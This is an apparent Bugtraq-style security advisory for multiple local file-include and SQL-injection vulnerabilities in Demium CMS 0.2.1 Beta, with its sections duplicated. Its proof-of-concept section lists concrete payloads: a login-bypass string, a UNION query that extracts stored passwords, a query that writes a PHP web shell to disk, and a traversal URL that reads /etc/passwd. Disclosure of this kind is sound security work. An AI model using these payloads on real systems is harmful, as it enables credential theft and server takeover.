Demium CMS Multiple Local File Include and SQL Injection Vulnerabilities
BID:33933
Info
Demium CMS Multiple Local File Include and SQL Injection Vulnerabilities
| Bugtraq ID: | 33933 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 27 2009 12:00AM |
| Updated: | Feb 27 2009 07:57PM |
| Credit: | Giovanni Buzzin, Osirys |
| Vulnerable: |
Demium Demium CMS 0.2.1 Beta |
| Not Vulnerable: | |
Discussion
Demium CMS Multiple Local File Include and SQL Injection Vulnerabilities
Demium CMS is prone to multiple local file-include vulnerabilities and SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker can exploit the local file-include vulnerabilities using directory-traversal strings to view and execute arbitrary local files within the context of the webserver process. Information harvested may aid in further attacks.
The attacker can exploit the SQL-injection vulnerabilities to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Demium CMS 0.2.1 Beta is vulnerable; other versions may also be affected.
Demium CMS is prone to multiple local file-include vulnerabilities and SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker can exploit the local file-include vulnerabilities using directory-traversal strings to view and execute arbitrary local files within the context of the webserver process. Information harvested may aid in further attacks.
The attacker can exploit the SQL-injection vulnerabilities to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Demium CMS 0.2.1 Beta is vulnerable; other versions may also be affected.
Exploit / POC
Demium CMS Multiple Local File Include and SQL Injection Vulnerabilities
Attackers can exploit these issues via a browser.
The following example data is available:
username: admin_user' or '1=1
The following example URIs are available:
http://www.example.com/[path]/tracking.php?follow_kat=osirys' union select concat(profile_username,0x3a,profile_password) from cms_profile order by '*
http://www.example.com/[path]/tracking.php?follow_kat=osirys' union select '<?php system($_GET[cmd]); ?>' into outfile '/tmp/sh_spawn_ownz.txt
http://www.example.com/[path]/urheber.php?name=../../../../../../../../../../etc/passwd%00
The following exploit code is available:
Attackers can exploit these issues via a browser.
The following example data is available:
username: admin_user' or '1=1
The following example URIs are available:
http://www.example.com/[path]/tracking.php?follow_kat=osirys' union select concat(profile_username,0x3a,profile_password) from cms_profile order by '*
http://www.example.com/[path]/tracking.php?follow_kat=osirys' union select '<?php system($_GET[cmd]); ?>' into outfile '/tmp/sh_spawn_ownz.txt
http://www.example.com/[path]/urheber.php?name=../../../../../../../../../../etc/passwd%00
The following exploit code is available:
Solution / Fix
Demium CMS Multiple Local File Include and SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Demium CMS Multiple Local File Include and SQL Injection Vulnerabilities
References:
References:
- Demium CMS Homepage (Demium)